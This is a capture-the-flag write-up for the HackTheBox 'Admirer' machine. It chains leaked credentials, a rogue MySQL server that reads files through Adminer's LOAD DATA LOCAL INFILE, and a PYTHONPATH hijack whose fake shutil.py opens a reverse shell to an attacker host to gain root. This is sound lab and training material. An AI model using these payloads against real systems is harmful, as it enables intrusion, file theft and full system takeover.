~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / admirer.md

admirer

Linux · Easy · released 2020-05-02 · retired 2020-09-26

Summary

Admirer is a Linux Easy whose most distinctive technique is the rogue MySQL server attack against Adminer 4.6.2. The box name and the tool name are the double hint. Adminer is a single-file PHP database management tool; its “connect to external server” feature allows an attacker to point it at a MySQL server they control. When that server issues a LOAD DATA LOCAL INFILE statement, the MySQL client library running inside Adminer reads a file from the target server’s filesystem and sends the contents to the attacker — an effective server-side file read with no authentication other than a valid session on the Adminer UI.

Kill-chain: robots.txt leaks /admin-dir → credential file inside gives FTP creds → FTP returns an archived source snapshot that reveals the /utility-scripts/ path prefix → gobuster finds adminer.php → rogue MySQL server reads live index.php → SSH as waldosudo SETENV on a shell script that runs a Python backup utility → PYTHONPATH poisoning with a fake shutil module → root.

Source attribution

Recon

nmap -sC -sV -oN nmap/initial.txt <TARGET>
21/tcp  open  ftp   vsftpd 3.0.3
22/tcp  open  ssh   OpenSSH 7.4p1 Debian 9
80/tcp  open  http  Apache httpd 2.4.25 (Debian)

Three ports. The FTP and web surfaces are the entry points.

Web enumeration — robots.txt and /admin-dir

curl http://<TARGET>/robots.txt
User-agent: *
# Personal Contacts and Creds - Loss prevention
Disallow: /admin-dir

The comment names user waldo and suggests credentials are stored there. Gobuster with extensions on the path:

gobuster dir -u http://<TARGET>/admin-dir/ \
    -w /usr/share/seclists/Discovery/Web-Content/big.txt \
    -x php,txt
/admin-dir/contacts.txt   (200)
/admin-dir/credentials.txt (200)

credentials.txt contains three credential sets, including FTP:

[FTP account]
ftpuser
%n?4Wz}R$tTF7

FTP — archived source code

ftp <TARGET>
# user: ftpuser  pass: %n?4Wz}R$tTF7
ftp> ls
# dump.sql  html.tar.gz
ftp> get html.tar.gz

Extract the archive locally. It contains an older snapshot of the web root with a utility-scripts/ directory listing admin_tasks.php, db_admin.php, info.php, and phptest.php. The archived index.php and db_admin.php contain database credentials, but these are stale — they do not work on the live server. The archive’s value is the path hint: utility-scripts/.

Adminer discovery and rogue MySQL file read

Run gobuster against the live /utility-scripts/ path with a comprehensive wordlist:

gobuster dir -u http://<TARGET>/utility-scripts/ \
    -w /usr/share/seclists/Discovery/Web-Content/big.txt \
    -x php
/utility-scripts/adminer.php  (200)  ← Adminer 4.6.2

Adminer’s login form accepts not only the local database server but any external host. The rogue MySQL technique exploits this: point Adminer at an attacker-controlled MySQL server, then issue LOAD DATA LOCAL INFILE from that server — the MySQL client library inside Adminer reads a local file from the target and sends its contents to the attacker.

Step 1 — Set up the attacker MySQL server:

# Edit /etc/mysql/mariadb.conf.d/50-server.cnf:
# bind-address = 0.0.0.0
sudo systemctl restart mariadb

mysql -u root -p
CREATE DATABASE pwn;
USE pwn;
CREATE TABLE exfil (data TEXT);
GRANT ALL PRIVILEGES ON *.* TO 'attacker'@'%' IDENTIFIED BY 'password123';
FLUSH PRIVILEGES;

Step 2 — Connect Adminer to the attacker server:

In the Adminer UI at http://<TARGET>/utility-scripts/adminer.php, enter:

Step 3 — Trigger file read with SQL:

Once connected, run the query:

LOAD DATA LOCAL INFILE '/var/www/html/index.php'
INTO TABLE exfil
FIELDS TERMINATED BY "\n";

Adminer’s connection to the attacker’s MySQL server causes the local MySQL client (running on the target) to read /var/www/html/index.php and send it to the attacker’s server.

Step 4 — Retrieve the exfiltrated data:

SELECT * FROM pwn.exfil;

The live index.php contains the current database credentials:

$databaseName = 'admirerdb';
$username = 'waldo';
$password = '&<h5b~yK3F#{PaPB&dA}{H>';

SSH as waldo

ssh waldo@<TARGET>
# Password: &<h5b~yK3F#{PaPB&dA}{H>

user.txt is at /home/waldo/user.txt.

Privilege escalation — SETENV sudo + PYTHONPATH hijack

waldo@admirer:~$ sudo -l
User waldo may run the following commands on admirer:
    (ALL) SETENV: /opt/scripts/admin_tasks.sh

SETENV allows the caller to pass environment variables through sudo even when env_reset is in effect. sudo’s secure_path restricts PATH, but it does not restrict PYTHONPATH.

/opt/scripts/admin_tasks.sh contains multiple options; option 6 runs:

/opt/scripts/backup.py

/opt/scripts/backup.py:

from shutil import make_archive
src = '/var/www/html/'
dst = '/var/backups/html'
make_archive(dst, 'gztar', src)

Python resolves shutil through sys.path, checking PYTHONPATH directories first. Creating a malicious shutil.py in a directory controlled by the attacker and injecting that directory via PYTHONPATH causes the backup script — running as root under sudo — to import the fake module instead of the real one.

Create the malicious module (use /var/tmp/; /dev/shm is noexec on this box):

# /var/tmp/shutil.py
import socket, subprocess, os

def make_archive(a, b, c):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("<ATTACKER>", 9001))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    subprocess.call(["/bin/sh", "-i"])

Set up listener and trigger:

# Attack machine
nc -lvnp 9001

# Target
sudo PYTHONPATH=/var/tmp /opt/scripts/admin_tasks.sh
# Select option 6 (Backup /var/www/html)
# id
uid=0(root) gid=0(root) groups=0(root)

root.txt is at /root/root.txt.

Why each step worked

Counterfactuals

Key Takeaways

References

← all htb machines hackthebox.com ↗